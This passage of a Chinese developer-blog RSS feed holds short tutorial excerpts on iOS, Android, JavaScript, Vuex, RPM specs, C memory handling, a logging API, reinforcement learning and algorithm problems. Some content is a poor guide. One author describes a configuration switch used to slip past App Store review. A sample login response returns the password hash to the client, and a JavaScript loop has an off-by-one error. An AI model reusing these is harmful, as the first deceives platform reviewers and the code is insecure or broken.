      <description>利用周末和节假日的时间撸了一个APP，免费+内购模式，持续更新维护中，虽然忙一点，累一点，但是挺有成就感的。&#xA;版本下载地址： itunes.apple.com/cn/app/id14…&#xA;关于苹果审核 最初的提交版本的时候也是被拒了N次，后来添加审核开关配置，做了一些应对审核的处理，现在提交版本基本上没有被拒过，一般第二天就通过了。(后面会单独总结一篇审核相关的文章)&#xA;现在正在做的 目前是在逐步优化ASO，提高下载量和曝光率，即将完成本地所有数据的加密存储，包括图片/视频/笔记/db/userdefault等所有本地数据，均加密处理。&#xA;后续要实现的功能 功能上，考虑加入私密通讯录，密码管理器，录音&amp;amp;保存，文件系统等功能；&#xA;用户体验上，增加一些引导页面，介绍页面，免得有些功能用户都不会用；&#xA;如果后面用户多了的话，考虑加入订阅付费功能。&#xA;用到的一些UI资源及工具： icon免费下载 www.iconfont.cn&#xA;www.flaticon.com&#xA;在线制作简单文字图标 bingoicon.com/font&#xA;www.logoko.com.cn&#xA;app icon批量生成工具 icon.wuruihong.com/guide/ios&#xA;用到的一些技术点： 1.使用ImageIO框架更改图片的GPS信息;&#xA;2.大文件（视频）分段写入沙盒;&#xA;3.UICollectionView加载多图滑动卡顿问题优化；&#xA;4.JS筛选WKWebView网页中的所有图片，并下载到本地；&#xA;5.图片/视频/文字转化为PDF/ZIP格式，并支持添加密码功能；&#xA;6.本地文件/字符加密，大文件分段加密；&#xA;应用介绍 App Store史上最安全、最强大、最卓越的私密相册App为你解决这些问题！再也不用担心私密的照片视频被别人看见了！私密相册为您提供多重密码保护机制、简单便捷的照片存储空间，完美地将您的私密照片远离一切恶意偷窥者的窥探！&#xA;【产品功能】 √ 支持登陆密码：没有您的密码，任何人无法开启应用访问隐私照片/视频 √ 支持创建自定义文件夹，您可以给不同的相片视频分类 √ 无限存储：无数量、无容量限制，想存多少就存多少 √ 无线WIFI传输，更快速的文件传送 √ 内置私密浏览器，更方便下载网页中的图片&#xA;【多种密码保护机制】 √ 支持指纹手势密码解锁 √ 支持设置文件夹密码 √ 每张图片/视频/笔记均使用独立加密算法,根据每张图片的特征使用不同的加密算法, 即使手机被破解，也无法看到图片/视频/笔记的信息. √ 不在服务端备份照片,没有泄露风险,卸载app后照片即永久删除.&#xA;【私密浏览器】 √ 更方便下载网页中的图片，支持批量下载 √ 自动清除浏览历史，真正的无痕浏览器&#xA;【图片编辑处理】 √ 支持将图片/视频转化为带有密码的PDF/ZIP文件 √ 更多的滤镜效果和图片编辑工具 √ 擦除/修改图片中的地理位置信息，将修改好的图片保存到手机相册，你就会看到地理位置真的变了。&#xA;【私密相机】 √ 自带私密相机，安全拍摄私密照片，是最佳的相册隐私卫士，而且可以随意选择拍摄出照片的位置&#xA;您还在等什么? 只要轻轻一按即可拥有如此强大、功能丰富的免费加密App, 从此不再惧怕隐私照片或视频存在手机中被人偷窥！</description>
    </item>
    <item>
      <title>Android资源知识（一）之Resources概览</title>
      <link>https://bchobby.github.io/posts/1fd56fccaff4b4cb99db5d029703a2c5/</link>
      <pubDate>Thu, 08 Nov 2018 23:22:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1fd56fccaff4b4cb99db5d029703a2c5/</guid>
      <description>资源（Resources）是指应用中的图片、媒体文件、字符串、颜色值等。Android程序员在开发过程中随时要和Resources打交道，比如R.layout.activity_main、@string/hello……&#xA;一、Android应用资源的构成 Android系统提供了一套强大的资源管理框架Resources和AssetManager，下面我们从工程目录结构来学习下Android应用资源体系的构成，工程目录结构图如下：&#xA;从图中可以看到Android应用资源由两部分构成：资源目录和资源文件。&#xA;1、资源目录 资源目录就是res目录下的各个子目录，如anim、drawable、drawable-hdpi、layout、menu、raw、values等。这些目录都必须是系统预定义的，也就是说像res/drawable，res/layout都是合法的，而像res/kinbos、res/abcd都不是合法的，系统是识别不了的。无法在R类中生成相应的数据。&#xA;res/anim是存放动画相关资源的。&#xA;res/drawable是存放图片资源的。&#xA;res/layout是存放xml布局文件的。&#xA;res/menu是存放菜单样式资源的。&#xA;res/raw是存放音频、视频等纯数据文件资源的。&#xA;res/values是存放字符串、颜色值、数组等常量定义的文件的。&#xA;2、资源文件 资源文件就是资源目录下的数据文件，比如.xml、图片、音视频文件等。注意：资源文件只能放在资源目录下，而不能放在res目录下。&#xA;二、Android应用程序的编译步骤 这里之所以提到Android应用程序的编译步骤是因为Android对应用资源的处理贯穿了应用的整个开发流程的。下面我们按步骤Properties——&amp;gt;Builders打开工程的Properties对话框，截图如下：&#xA;Android应用程序的编译过程主要有以下4个步骤：&#xA;1、Android Resource Manager Android通过aapt工具（aapt工具位于路径：[sdk目录]/build-tools/[android-xx]）根据res目录下的资源在R类中生成与之相对应的嵌套子类及static final型常量。R.java文件代码如下：&#xA;package com.kinbos.note; public final class R { public static final class anim { public static final int abc_fade_in=0x7f040000; public static final int abc_fade_out=0x7f040001; public static final int abc_slide_in_bottom=0x7f040002; public static final int abc_slide_in_top=0x7f040003; public static final int abc_slide_out_bottom=0x7f040004; public static final int abc_slide_out_top=0x7f040005; } } 从上述代码中我们可以看出，res目录下的子目录是嵌套子类的类名，如代码中的anim，具体的文件名称是anim类的static final型常量。</description>
    </item>
    <item>
      <title>JavaScript-获取页面元素的四种常用方法</title>
      <link>https://bchobby.github.io/posts/af20160fccc99a06b3e237c0fa2c478c/</link>
      <pubDate>Thu, 08 Nov 2018 22:38:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/af20160fccc99a06b3e237c0fa2c478c/</guid>
      <description>1.根据id获取元素 document.getElementById(&#34;id属性的值&#34;); 返回值是一个元素对象&#xA;案例：点击按钮弹框&#xA;&amp;lt;body&amp;gt; &amp;lt;input type=&#34;button&#34; name=&#34;&#34; id=&#34;btn&#34; value=&#34;button&#34;&amp;gt; &amp;lt;script&amp;gt; var btnobj = document.getElementById(&#34;btn&#34;) btnobj.onclick = function () { alert(&#34;OK!&#34;); } &amp;lt;/script&amp;gt; &amp;lt;/body&amp;gt; 点击按钮后页面弹出提示框。&#xA;2.根据标签名字获取元素 document.getElementsByTagName(&#34;标签的名字&#34;); 返回值是一个伪数组&#xA;案例:点击按钮改变多个p标签的文字内容&#xA;&amp;lt;body&amp;gt; &amp;lt;input type=&#34;button&#34; value=&#34;button&#34; name=&#34;&#34; id=&#34;btn&#34;&amp;gt; &amp;lt;div id=&#34;div1&#34;&amp;gt; &amp;lt;p&amp;gt;abcd&amp;lt;/p&amp;gt; &amp;lt;p&amp;gt;abcd&amp;lt;/p&amp;gt; &amp;lt;p&amp;gt;abcd&amp;lt;/p&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;script&amp;gt; //根据id获取按钮,注册点击事件,添加事件处理函数 document.getElementById(&#34;btn&#34;).onclick = function(){ //根据标签名字获取标签 var changes = document.getElementById(&#34;div1&#34;).getElementsByTagName(&#34;p&#34;); //循环遍历这个数组 for(var i=0;i&amp;lt;=changes.length;i++){ //每个p标签,设置文字 changes[i].innerHTML = &#34;ABCD&#34;; } } &amp;lt;/script&amp;gt; &amp;lt;/body&amp;gt; 3.根据name属性的值获取元素 document.getElementsByName(&#34;name属性的值&#34;); 返回值是一个伪数组&#xA;案例:点击按钮,改变所有name属性值为name1的文本框中的value属性值&#xA;&amp;lt;body&amp;gt; &amp;lt;input type=&#34;button&#34; value=&#34;</description>
    </item>
    <item>
      <title>Vuex入门学习</title>
      <link>https://bchobby.github.io/posts/c27acd8902f2384856c2b0e1e6db5a40/</link>
      <pubDate>Thu, 08 Nov 2018 22:01:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c27acd8902f2384856c2b0e1e6db5a40/</guid>
      <description> Vuex入门 介绍 每一个 Vuex 应用的核心就是 store（仓库）。“store”基本上就是一个容器，它包含着你的应用中大部分的状态 (state)。Vuex 和单纯的全局对象有以下两点不同：&#xA;Vuex 的状态存储是响应式的。当 Vue 组件从 store 中读取状态的时候，若 store 中的状态发生变化，那么相应的组件也会相应地得到高效更新。你不能直接改变 store 中的状态。改变 store 中的状态的唯一途径就是显式地提交 (commit) mutation。这样使得我们可以方便地跟踪每一个状态的变化，从而让我们能够实现一些工具帮助我们更好地了解我们的应用。&#xA;在我看来，Vuex在一定程度上来理解是全局变量，但是又不仅限于全局变量的存在；因而它的状态存储是响应式的！ state 状态 </description>
    </item>
    <item>
      <title>C# 输出调用堆栈信息</title>
      <link>https://bchobby.github.io/posts/de9684eb594b3d955ebd43c7fbe94ef6/</link>
      <pubDate>Thu, 08 Nov 2018 17:50:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/de9684eb594b3d955ebd43c7fbe94ef6/</guid>
      <description>在想看的那个方法中添加获取堆栈信息，然后输出即可：&#xA;例如：&#xA;public void GetName()&#xA;{&#xA;string stackInfo = new StackTrace().ToString();&#xA;//调取该方法的堆栈信息&#xA;Debug.log(stackInfo);&#xA;}</description>
    </item>
    <item>
      <title>spec文件知识整理</title>
      <link>https://bchobby.github.io/posts/e84a559f0d048876c635c9c1d048515b/</link>
      <pubDate>Thu, 08 Nov 2018 17:17:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e84a559f0d048876c635c9c1d048515b/</guid>
      <description>rpmbuild目录下各个文件的用途：&#xA;spec文件一般包含以下部分：&#xA;==================================文件头====================================================&#xA;Name: hellorpm #名字为源码tar.gz 包的名字&#xA;Version: 1.0.0 #版本号，一定要与tar.gz包的一致哦&#xA;Release: 1%{?dist} #释出号，也就是第几次制作rpm&#xA;Summary: helloword #软件包简介，最好不要超过50字符&#xA;License: GPL #许可，GPL还是BSD等 URL: #可以写一个网址，也可以不要&#xA;Packager: abel #作者，可以不要&#xA;Source0: %{name}-%{version}.tar.gz #定义用到的source，也就是你的源码包，可以有多个，用Source1、Source2等表示&#xA;BuildRoot: %_topdir/BUILDROOT&#xA;#这个是安装或编译时使用的“虚拟目录”，该参数非常重要，因为在执行make install的过程中，需要把软件安装到这个路径中，在打包(即%files段)的时候，依赖“虚拟目录”为“根目录”进行操作。这个参数可以不必定义，系统默认此参数为：/root/rpmbuild/BUILDROOT/%{name}-%{version}-%{release}.x86_64，后面引用可以直接使用$RPM_BUILD_ROOT。&#xA;BuildRequires: gcc,make&#xA;#编译时的包依赖&#xA;Requires: python-apscheduler &amp;gt;= 2.1.2-1.el7,python-daemon &amp;gt;= 1.6-1.el7&#xA;#软件运行依赖的软件包，也可以指定最低版本如 bash &amp;gt;= 1.1.1&#xA;%description #描述，随便写 %package #定义一个子包，需要生成两个rpm包需要此项，只生成一个时不需要此项。举例如下：&#xA;%package devel Summary: Header files and libraries for developing apps which will use bzip2. Group: Development/Libraries description devel Header files 当定义一个子包时，必须至少包含Summary:,Group:,description选项。%package后面可以加-n选项也可以不加，如果在%package时用-n选项，那么在description时也要用，如：description -n my-telnet-server，如果在%package时用-n选项，那么在%files时也要用，如：%files -n my-telnet-server</description>
    </item>
    <item>
      <title>malloc和free使用要小心</title>
      <link>https://bchobby.github.io/posts/56d4c5a0852c3b9b5640489654d009eb/</link>
      <pubDate>Thu, 08 Nov 2018 14:46:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/56d4c5a0852c3b9b5640489654d009eb/</guid>
      <description>先说一下用法：&#xA;char *stemp = (char*)malloc(256 * sizeof(char));&#xA;if(stemp == NULL) return FALSE;&#xA;注意有可能分配失败，所以这里需要判空一下。&#xA;使用结束要free：&#xA;free(stemp);&#xA;stemp = NULL;&#xA;今天使用的时候突然蹦出来弹框：&#xA;心情又崩溃了，想换其他方法了，想想还是把问题解决了；找啊找。。。。&#xA;发现问题出在free那里，Debug看一下free里面的指针不为空啊，重新来，看char *stemp = (char*)malloc(256 * sizeof(char));&#xA;再看free的时候：&#xA;去，怎么不一样了？&#xA;最后又找，好长的函数，终于找到了&#xA;对指针赋值了。&#xA;【总结】使用malloc和free的时候，一定好注意，不要对分配的指针赋值操作了，复制后，free找不到原来的指针，必然会报错。也就是说，malloc和free是成对出现，free的时候指针必须是malloc过的。对指针的操作，的确需要很深的“内功”。</description>
    </item>
    <item>
      <title>syslog日志系统——日志采集</title>
      <link>https://bchobby.github.io/posts/d77d04ac4b86819bcac01b109f3cb4f5/</link>
      <pubDate>Thu, 08 Nov 2018 14:00:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d77d04ac4b86819bcac01b109f3cb4f5/</guid>
      <description>日志采集的流程 客户端埋点 客户端埋点就是在客户系统植入日志发送的代码，可以是前端页面、app界面、后端服务等，把需要的日志信息发送到指定的日志采集接口。&#xA;日志的发送应该采用异步方式，这样不会对客户系统代码的执行造成影响。&#xA;日志采集 日志采集接口把接收过来的日志数据写入到日志文件，日志文件以天为单位进行存储。&#xA;日志采集接口代码 接口采用@IgnoreToken标记不需要进行令牌校验。&#xA;采用@CrossOrigin标记，让接口能够跨域访问，支持AJAX跨域请求。&#xA;@ApiOperation(value = &#34;提交日志&#34;) @ApiImplicitParams({ @ApiImplicitParam(name = &#34;logData&#34;, value = &#34;日志数据&#34;, dataType = &#34;LogData&#34;, paramType = &#34;body&#34;) }) @RequestMapping(path = &#34;/log/add&#34;, method = RequestMethod.POST, produces = &#34;application/json;charset=UTF-8&#34;) @IgnoreToken @CrossOrigin public ResponseData addLog(@RequestBody LogData logData) { String logID = logService.logToFile(logData); return ResponseData.success(logID); } 日志文件格式的设计 日志以文本格式保存，每条日志按行写入。&#xA;日志行的格式如下：&#xA;时间戳|日志ID|日志数据JSON 日志按行保存的好处是，可以利用BufferedReader的readLine方法进行日志的按行读取。&#xA;日志按行保存，要对日志数据JSON部分进行处理，把换行符替换掉。&#xA;日志按行保存的主要代码 public String logToFile(LogData logData){ LogGroupData groupData = getLogGroup(logData.getKey()); logData.setGroupID(groupData.getGroupID()); String date = ConvertUtil.</description>
    </item>
    <item>
      <title>安装webpack</title>
      <link>https://bchobby.github.io/posts/f945525e9b2dc358ff1f1c65e6dafdc1/</link>
      <pubDate>Thu, 08 Nov 2018 13:16:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f945525e9b2dc358ff1f1c65e6dafdc1/</guid>
      <description>npm install webpack@1.15.0 -g (我只有这个版本可用， 之前什么方法都没用，用cnpm 也没用)</description>
    </item>
    <item>
      <title>安装node.js重装与卸载</title>
      <link>https://bchobby.github.io/posts/82c28890aa12be64afc6a17d8e12e389/</link>
      <pubDate>Thu, 08 Nov 2018 10:12:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/82c28890aa12be64afc6a17d8e12e389/</guid>
      <description>官网选取之前版本4.4.7.msi&#xA;默认下载&#xA;1、卸载node.js&#xA;2、删除C:\Users\Administrator\AppData\Roaming下边的npm、npm-cache&#xA;3、重新安装node.js，再次在dos中输入node -v和npm -v可以看到相应的版本号&#xA;（之前出了很多问题，也试了用cnpm，亲测最小白最快）</description>
    </item>
    <item>
      <title>Java中compareTo用法</title>
      <link>https://bchobby.github.io/posts/babbfc9292c270a8ecd6deb579f673b4/</link>
      <pubDate>Wed, 07 Nov 2018 21:11:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/babbfc9292c270a8ecd6deb579f673b4/</guid>
      <description>Java中的compareto方法，返回参与比较的前后两个字符串的asc码的差值&#xA;String a = &#34;a&#34;;&#xA;String b = &#34;b&#34;;&#xA;System.out.println(a.compareTo(b));&#xA;输出值-1&#xA;1&#xA;2&#xA;3&#xA;4&#xA;5&#xA;String a = &#34;b&#34;;&#xA;String b = &#34;a&#34;;&#xA;System.out.println(a.compareTo(b));&#xA;输出值1&#xA;1&#xA;2&#xA;3&#xA;4&#xA;5&#xA;String a = &#34;a&#34;;&#xA;String b = &#34;a&#34;;&#xA;System.out.println(a.compareTo(b));&#xA;输出0&#xA;1&#xA;2&#xA;3&#xA;4&#xA;5&#xA;两个字符串首字母不同，则该方法返回首字母的asc码的差值&#xA;String a = &#34;abc&#34;;&#xA;String b = &#34;bcdfg&#34;;&#xA;System.out.println(a.compareTo(b));&#xA;输出-1&#xA;1&#xA;2&#xA;3&#xA;4&#xA;5&#xA;参与比较的两个字符串如果首字符相同，则比较下一个字符，直到有不同的为止，返回该不同的字符的asc码差值&#xA;String a = &#34;abc&#34;;&#xA;String b = &#34;</description>
    </item>
    <item>
      <title>nohup: ignoring input and appending output to ‘nohup.out’</title>
      <link>https://bchobby.github.io/posts/ea929c2211899369e6fea19e60924217/</link>
      <pubDate>Wed, 07 Nov 2018 16:10:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ea929c2211899369e6fea19e60924217/</guid>
      <description>在执行linux命令的时候出现了下面错误： nohup: ignoring input and appending output to ‘nohup.out’&#xA;或者：&#xA;nohup: failed to run command `xxx.sh’: Permission denied&#xA;一般我们自己写的脚本，想利用nohup命令让脚本程序自己运行，但是nohup他必然会产生日志文件，所以这需要我们将日志文件写到一个文件里面去，默认是写入到nohup.out中，但是有时候会出现上面的问题。&#xA;错误原因： 文件没有写入权限。。。&#xA;一般就算你用sudo chmod给文件加权限也没用。&#xA;解决方法： nohup ./xxx.sh &amp;gt; /dev/null 2&amp;gt; /dev/null &amp;amp; #./xxx.sh 是你自己需要执行的脚本 # 例如： nohup ./bug &amp;gt; /dev/null 2&amp;gt; /dev/null &amp;amp; 这样他会给你输入到 /dev/null 这个特别的文件下面&#xA;它像一个linux黑洞，所有重定向到它的信息都会自动消失。&#xA;如果你的输入日志很重要的话就不建议重定向到/dev/null中了。</description>
    </item>
    <item>
      <title>syslog日志系统——接口的设计</title>
      <link>https://bchobby.github.io/posts/f722fe38c558e52454745d506dcb60a2/</link>
      <pubDate>Wed, 07 Nov 2018 11:59:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f722fe38c558e52454745d506dcb60a2/</guid>
      <description>数据接口的返回报文 { &#34;code&#34;: 0, &#34;count&#34;: 0, &#34;data&#34;: {}, &#34;msg&#34;: &#34;string&#34; } 数据接口调用总是返回上述报文格式JSON数据，这里的字段设计是为了兼容layui的数据表格取数接口。&#xA;code字段 接口成功返回时为0，发生调用错误时不为0&#xA;msg字段 接口调用的消息信息，发生调用错误时为错误描述信息，建议是直观友好的信息能够直接显示给用户看。&#xA;data字段 接口调用返回的业务数据&#xA;count字段 数据分页时使用，数据的总行数，layui数据表格组件需要该字段&#xA;登录接口例子 登录成功&#xA;{ &#34;code&#34;: 0, &#34;msg&#34;: &#34;&#34;, &#34;data&#34;: { &#34;password&#34;: &#34;e10adc3949ba59abbe56e057f20f883e&#34;, &#34;user&#34;: &#34;admin&#34;, &#34;token&#34;: &#34;3b9ce276b01c46d3be5ffc75698782d2&#34; }, &#34;count&#34;: 0 } 登录失败&#xA;{ &#34;msg&#34;: &#34;密码错误！&#34;, &#34;code&#34;: -1 } 数据接口的令牌token机制 先调用登录接口，成功登陆后返回令牌token，然后用令牌作为参数进一步调用后续的接口。&#xA;token参数建议使用@RequestHeader传输，可以避免与get请求冲突。&#xA;根据安全级别可以把接口划分为两类：不需要令牌token和需要令牌token&#xA;登录接口示例代码 @ApiOperation(value = &#34;登录&#34;) @ApiImplicitParams({ @ApiImplicitParam(name = &#34;user&#34;, value = &#34;用户名&#34;, dataType = &#34;String&#34;, paramType = &#34;query&#34;), @ApiImplicitParam(name = &#34;</description>
    </item>
    <item>
      <title>微创拔牙及口腔门诊小手术实用图谱</title>
      <link>https://bchobby.github.io/posts/3e9f275a916c8b32692747461bf3ab54/</link>
      <pubDate>Wed, 07 Nov 2018 11:49:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3e9f275a916c8b32692747461bf3ab54/</guid>
      <description>百度云盘的链接：https://pan.baidu.com/s/1djMhIo4_Kqk5Qnjly82WYg 密码：5vt2</description>
    </item>
    <item>
      <title>策略梯度(Policy gradient)学习心得</title>
      <link>https://bchobby.github.io/posts/0c1d64267fdb7ad9e5df4765a5c97d48/</link>
      <pubDate>Wed, 07 Nov 2018 02:22:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c1d64267fdb7ad9e5df4765a5c97d48/</guid>
      <description>文章目录 策略梯度网络结构策略梯度网络权重的更新策略梯度网络更新的时机策略梯度动作的选择策略梯度概率更新幅度最后 以前的博文介绍了Q-learning与DQN的相关知识与实例（ https://blog.csdn.net/allen_li123/article/details/83621804） Q-learning与DQN都属于基于值函数的深度强化学习，因为其输出都是关于动作的值，然后再根据 ϵ − g r e e d y \epsilon-greedy ϵ−greedy贪婪策略进行动作采取&#xA;但是如果动作是一个连续性动作，他的值函数不可能完全计算出来，而策略梯度可以很好的解决动作连续性问题（我也还没弄懂为什么可以解决，想明白了再更新）&#xA;策略梯度网络结构 输入结点为观测到的特征数与特征值&#xA;隐藏层根据实际情况进行更改&#xA;输出层为动作的数量，其值再经过softmax函数处理变为采取的概率值&#xA;策略梯度网络权重的更新 神经网络都是根据误差函数来进行更新，而从严格意义上来讲，策略梯度算法是没有误差的，因为其输出只是选择的概率值，为了进行权重更新，我们将选取的动作的概率乘以一个变量作为损失函数，而该变量的取值取决于该动作的奖励收益&#xA;训练目标为损失函数最大化，这样就可以学习使奖励收益越来越大，而选取该奖励的概率也越来越大&#xA;策略梯度网络更新的时机 与基于值函数的深度强化学习算法不同，基于值函数的算法每一步都可以作为数据集进行学习，而策略梯度因为严格意义没有误差，所选取的误差函数必须在一回合结束后才能获得奖励值。&#xA;故策略梯度只能在回合结束时更新策略梯度网络。而每一步的选择都对网络有影响，故还需要用数组将所出现的状态，选取的动作，获得的奖励用数组储存起来，在回合结束时一并作为数据集经行网络更新&#xA;策略梯度动作的选择 与 ϵ − g r e e d y \epsilon-greedy ϵ−greedy贪婪策略不同，策略梯度输出的是动作采取的概率，故直接根据该概率对动作进行选取即可&#xA;action = np.random.choice(range(prob_weights.shape[1]), p=prob_weights.ravel()) 策略梯度概率更新幅度 代码如下：&#xA;discounted_ep_rs = np.zeros_like(self.ep_rs) running_add = 0 for t in reversed(range(0, len(self.ep_rs))): running_add = running_add * self.gamma + self.ep_rs[t] discounted_ep_rs[t] = running_add # normalize episode rewards discounted_ep_rs -= np.</description>
    </item>
    <item>
      <title>MATLAB程序：IEEE802.16d路径损耗模型</title>
      <link>https://bchobby.github.io/posts/6c994dd38eb89e6b8ae699b38a0de296/</link>
      <pubDate>Tue, 06 Nov 2018 21:54:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6c994dd38eb89e6b8ae699b38a0de296/</guid>
      <description>IEEE802.16d路径损耗模型&#xA;function PL=PL_IEEE80216d(fc,d,type,htx,hrx,corr_fact,mod) % IEEE 802.16d model % Input - fc : carrier frequency % d : between base and terminal % type : selects &#39;A&#39;, &#39;B&#39;, or &#39;C&#39; % htx : height of transmitter % hrx : height of receiver % corr_fact: if shadowing exists, set to &#39;ATnT&#39; or &#39;Okumura&#39;. Otherwise, &#39;NO&#39; % mod : set to &#39;mod&#39; to get the modified IEEE 802.16d model % output - PL : path loss [dB] %MIMO-OFDM Wireless Communications with MATLAB㈢ Yong Soo Cho, Jaekwon Kim, Won Young Yang and Chung G.</description>
    </item>
    <item>
      <title>ZOJ4062 Plants vs. Zombies 二分</title>
      <link>https://bchobby.github.io/posts/9431a0f92a20249467624c3d8c0c8f6b/</link>
      <pubDate>Tue, 06 Nov 2018 20:50:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9431a0f92a20249467624c3d8c0c8f6b/</guid>
      <description>ZOJ4062 Plants vs. Zombies&#xA;一机器人给植物浇水，浇水之前必须移动一格，移动后必须浇水，从1~n的位置上有n个植物，每个植物都有自己的生长速度，&#xA;每浇一次生长一次，机器人初始位置为0，把每种方案浇灌下最低的植物高度作为方案值，求最大的方案值&#xA;最大化最小值二分：二分最大方案值，每次模拟计算方案的最小花费是否超出机器人最大的行走距离，若不超出扩大否则缩小&#xA;#include&amp;lt;bits/stdc++.h&amp;gt; using namespace std; const int MAX=1e5+10; const long long INF=1e17; int t,n,a[MAX]; long long m,b[MAX]; bool check(long long x) { for(int i=1;i&amp;lt;=n;++i) { if(x%a[i]) b[i]=x/a[i]+1; else b[i]=x/a[i]; } long long cnt=0;b[n+1]=0;bool f=0; for(int i=1;i&amp;lt;=n;++i) { if(b[i]&amp;gt;0) { cnt+=b[i]*2; b[i+1]-=b[i]; if(!f) f=1; else ++cnt,--b[i+1]; if(cnt&amp;gt;m+1) return 0; } else f=0; } if(b[n+1]&amp;lt;0) --cnt; if(b[n]&amp;lt;0) --cnt; return cnt&amp;lt;=m; } int main() { scanf(&#34;%d&#34;,&amp;amp;t); while(t--) { scanf(&#34;</description>
    </item>
    <item>
      <title>codeforce626 E. Simple Skewness 二分</title>
      <link>https://bchobby.github.io/posts/e99e8952f3c3162b40cde620b2a4f82d/</link>
      <pubDate>Tue, 06 Nov 2018 20:42:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e99e8952f3c3162b40cde620b2a4f82d/</guid>
      <description>codeforce626 E. Simple Skewness&#xA;均值-中位数 最大的子集&#xA;枚举中值，二分区间大小&#xA;要使 均值-中位数 最大，所以最大化均值，即从最后取最大的L个数，从中位数前取相邻的L个数&#xA;若区间扩大均值扩大则扩大，否则缩小&#xA;#include&amp;lt;bits/stdc++.h&amp;gt; using namespace std; const int MAX=2e5+5; int a[MAX],n; long long sum[MAX]; int main() { while(~scanf(&#34;%d&#34;,&amp;amp;n)) { memset(sum,0,sizeof(sum)); int L=0,pos=1;double ans=-1e6; for(int i=1;i&amp;lt;=n;++i) scanf(&#34;%d&#34;,&amp;amp;a[i]); sort(a+1,a+n+1); for(int i=1;i&amp;lt;=n;++i) sum[i]+=sum[i-1]+a[i]; for(int i=1;i&amp;lt;=n;++i) { int l=1,r=min(n-i,i-1),mid,len=0; while(l&amp;lt;=r) { mid=(l+r)&amp;gt;&amp;gt;1; double tmp1=1.0*(sum[n]-sum[n-mid]+sum[i]-sum[i-mid-1])/(2.0*mid+1); double tmp2=1.0*(sum[n]-sum[n-mid+1]+sum[i]-sum[i-mid])/(2.0*mid-1); if(tmp1&amp;gt;tmp2) l=mid+1,len=mid; else r=mid-1; } double ans_=1.0*(sum[n]-sum[n-len]+sum[i]-sum[i-len-1])/(2.0*len+1)-a[i]; if(ans_&amp;gt;ans) { ans=ans_; L=len; pos=i; } } printf(&#34;%d\n&#34;,L*2+1); for(int i=pos-L;i&amp;lt;=pos;++i) printf(&#34;%d &#34;</description>
    </item>
    <item>
      <title>父子组件之间的通信</title>
      <link>https://bchobby.github.io/posts/26d254c5266ebb85b48443b00d8644ec/</link>
      <pubDate>Tue, 06 Nov 2018 17:43:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/26d254c5266ebb85b48443b00d8644ec/</guid>
      <description>父子组件之间的通信 概念：A组件中调用B组件，那么A组件就是父组件，B组件就是子组件 通信方式： 父组件向子组件传递数据——使用props 子组件向父组件传递数据——使用this.$emit暴露一个function给父组件 例子 子组件(一般是组件) &amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;div class=&#34;father-to-son&#34;&amp;gt; {{name}} &amp;lt;div v-if=&#34;myHead&#34;&amp;gt; show my head &amp;lt;/div&amp;gt; &amp;lt;div&amp;gt; &amp;lt;div v-for=&#34;item in myList&#34; :key=&#34;item.value&#34; :label=&#34;item.label&#34; :value=&#34;item.value&#34;&amp;gt; {{item.label}} {{item.value}} &amp;lt;br&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;el-input :placeholder=&#34;myPlaceholder&#34;&amp;gt;&amp;lt;/el-input&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;hr&amp;gt; &amp;lt;hr&amp;gt; &amp;lt;div class=&#34;son-to-father&#34;&amp;gt; &amp;lt;el-input placeholder=&#34;子组件给父组件&#34; v-model=&#34;message&#34;&amp;gt;&amp;lt;/el-input&amp;gt; &amp;lt;el-button type=&#34;success&#34; @click=&#34;toFather&#34;&amp;gt;抛数据给父组件&amp;lt;/el-button&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { props: { name: { type: String, default: &#39;&#39; }, myHead: { type: Boolean, default: true }, myList: { type: Array, default: () =&amp;gt;[ { value: &#39;1&#39;, label: &#39;测试1&#39; }, { value: &#39;2&#39;, label: &#39;测试2&#39; } ] }, myPlaceholder: { type: String, default: &#39;&#39; } }, data(){ return{ message: &#39;&#39;, } }, methods:{ //这个方法暴露给父组件，父组件调用然后更新数据 toFather(){ let res = this.</description>
    </item>
    <item>
      <title>linux下解压命令和 rpm命令使用简介</title>
      <link>https://bchobby.github.io/posts/b591c3866429e6445e20a7794522b144/</link>
      <pubDate>Tue, 06 Nov 2018 16:47:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b591c3866429e6445e20a7794522b144/</guid>
      <description>一、打包压缩 01-.tar格式 解包：[root@user]$ tar xvf FileName.tar 打包：[root@user]$ tar cvf FileName.tar DirName（注：tar是打包，不是压缩！） 02-.gz格式 解压1：[root@user]$ gunzip FileName.gz 解压2：[root@user]$ gzip -d FileName.gz 压 缩：[root@user]$ gzip FileName 03-.tar.gz格式 解压：[root@user]$ tar zxvf FileName.tar.gz 压缩：[root@user]$ tar zcvf FileName.tar.gz DirName 04-.bz2格式 解压1：[root@user]$ bzip2 -d FileName.bz2 解压2：[root@user]$ bunzip2 FileName.bz2 压 缩： [root@user]$ bzip2 -z FileName 05-.tar.bz2格式 解压：[root@user]$ tar jxvf FileName.tar.bz2 压缩：[root@user]$ tar jcvf FileName.tar.bz2 DirName 06-.bz格式 解压1：[root@user]$ bzip2 -d FileName.bz 解压2：[root@user]$ bunzip2 FileName.bz 07-.tar.bz格式 解压：[root@user]$ tar jxvf FileName.</description>
    </item>
    <item>
      <title>mui在调起软键盘时，底部内容被推起的解决办法</title>
